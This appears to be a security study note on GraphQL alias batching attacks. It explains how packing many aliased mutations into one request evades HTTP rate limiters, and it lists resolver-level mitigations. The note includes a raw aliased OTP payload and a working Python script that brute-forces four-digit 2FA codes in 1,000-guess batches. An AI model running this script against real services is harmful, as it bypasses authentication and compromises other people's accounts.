🧠 GraphQL - Batching Attack
What is it?
- Concept: GraphQL inherently allows clients to request multiple pieces of data or execute multiple operations in a single HTTP request to reduce network overhead. Attackers abuse this feature by submitting hundreds or thousands of login/OTP guesses within a single query payload using “Aliases”.
- Impact: Authentication Bypass, Rate Limit Evasion, and WAF Bypass. Because the network firewall (like Nginx) only sees one HTTP POST request, traditional HTTP rate limiters (
limit_req) are completely blind to the attack.
How it works
- The Bottleneck: An application relies on network-layer infrastructure (Nginx, HAProxy, AWS WAF) to prevent brute-forcing, limiting users to e.g., 20 HTTP requests per minute.
- The Bypass Payload: The attacker constructs a single GraphQL query, but assigns unique “Aliases” to hundreds of concurrent mutation calls (e.g.,
try0000: verify2FA(otp:"0000"),try0001: verify2FA(otp:"0001")). - The Execution: The single HTTP request easily passes through the network rate-limiter. The backend GraphQL engine parses the single request and sequentially (or concurrently) executes the underlying resolver function for every single alias.
- The Result: The attacker successfully evaluates 10,000 combinations in a fraction of a second, bypassing 2FA or brute-forcing a password without triggering network alarms.
Exploitation
Prerequisites
- A vulnerable GraphQL endpoint accepting queries or mutations.
- Target authentication mechanism has a small enough entropy/search space (e.g., a 4-digit PIN = 10,000 combinations, or a targeted password list).
- Rate limiting is implemented at the HTTP routing layer, not the GraphQL execution layer.
Attack Vectors
- Raw GraphQL Alias Payload Structure:
mutation {
try0000: verify2FA(otp: "0000") { token }
try0001: verify2FA(otp: "0001") { token }
try0002: verify2FA(otp: "0002") { token }
# ... continues up to server limits ...
}- Python Exploit Automation
import requests
def brute_force_gql(session, url):
batch_size = 1000
for start in range(0, 10000, batch_size):
end = min(start + batch_size, 10000)
# Construct the massive aliased query
graphql_query = "mutation { "
for i in range(start, end):
pin = f"{i:04d}"
graphql_query += f'try{pin}: verify2FA(otp: "{pin}") {{ token }} '
graphql_query += "}"
# Send 1000 guesses in 1 single HTTP request
response = session.post(url, json={"query": graphql_query})
# Parse for success
if "token" in response.text:
data = response.json()
for alias, result in data.get("data", {}).items():
if result is not None:
print(f"[+] Found correct OTP: {alias.replace('try', '')}")
return result["token"]Mitigation
-
Fix 1: Execution-Layer Rate Limiting. Implement rate limiting inside the GraphQL application code (the resolvers). Track the number of operations executed per user/IP, not just the number of HTTP requests.
-
Fix 2: Max Query Aliases limit. Utilize GraphQL middleware (like
graphql-depth-limitor query cost analysis libraries) to restrict a single request to a maximum number of aliases (e.g., max 5 operations per request). -
Fix 3: Lockouts. For sensitive operations like 2FA, implement account lockouts or temporary bans after a set number of failed resolver executions, regardless of how they were batched.
Related Usage
TABLE creation_date AS "Created"
FROM "05 - Content"
WHERE contains(techniques, this.file.link) AND contains(tags, "🚩")
SORT file.name ASCReferences: